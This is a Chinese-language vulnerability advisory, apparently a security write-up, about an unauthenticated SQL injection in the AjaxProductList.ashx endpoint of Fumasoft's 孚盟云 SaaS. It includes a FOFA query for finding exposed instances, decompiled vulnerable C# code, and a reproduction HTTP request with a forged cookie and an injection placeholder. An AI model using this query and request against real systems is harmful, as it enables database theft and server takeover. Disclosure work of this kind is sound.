漏洞简介
上海孚盟软件有限公司是一家专业的外贸SaaS服务和行业解决方案提供商。其旗下产品孚盟云AjaxProductList.ashx接口存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用 SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
影响版本
fofa语法
app="孚盟软件-孚盟云"
漏洞分析
直接看 AjaxProductList.ashx 对应的dll文件 FumaCRM_BS.NewWeb.dll 里有关 AjaxProductList 方法的实现如下

当method=getInquiry时,进入getInquiry方法
private void getInquiry(HttpContext context)
{
string itemNo = context.Request["itemNo"];
string str1 = context.Request["version"] == null ? "" : context.Request["version"].ToString();
List<InquityModel> inquiryData = this.GetInquiryData(this.empId, itemNo);
跟进GetInquiryData方法
public List<InquityModel> GetInquiryData(string empID, string itemNo)
{
List<InquityModel> inquiryData = new List<InquityModel>();
string str = $"select FID,ItemNO,FullName,LastEditMan,LastEditDate,BeginNum,Price,Memo from QKScSO M where 1=1 and IsNull(IsDeleted,0)<>2 and ItemNO='{itemNo}'";
参数itemNo被直接拼接进SQL语句中执行,期间无过滤或校验,从而造成SQL注入漏洞。
DeleteProductById、uploadFileToOss、moreLoad与GetFidByItemNo等诸多方法存在同样的直接拼接导致的SQL注入漏洞



漏洞复现
POST /m/Dingding/Ajax/AjaxProductList.ashx HTTP/1.1
Host:
Cookie: UserCookie={"empId":"1","corpId": "1"}
Content-Type: application/x-www-form-urlencoded
method=getInquiry&itemNo='SQLI_POC--








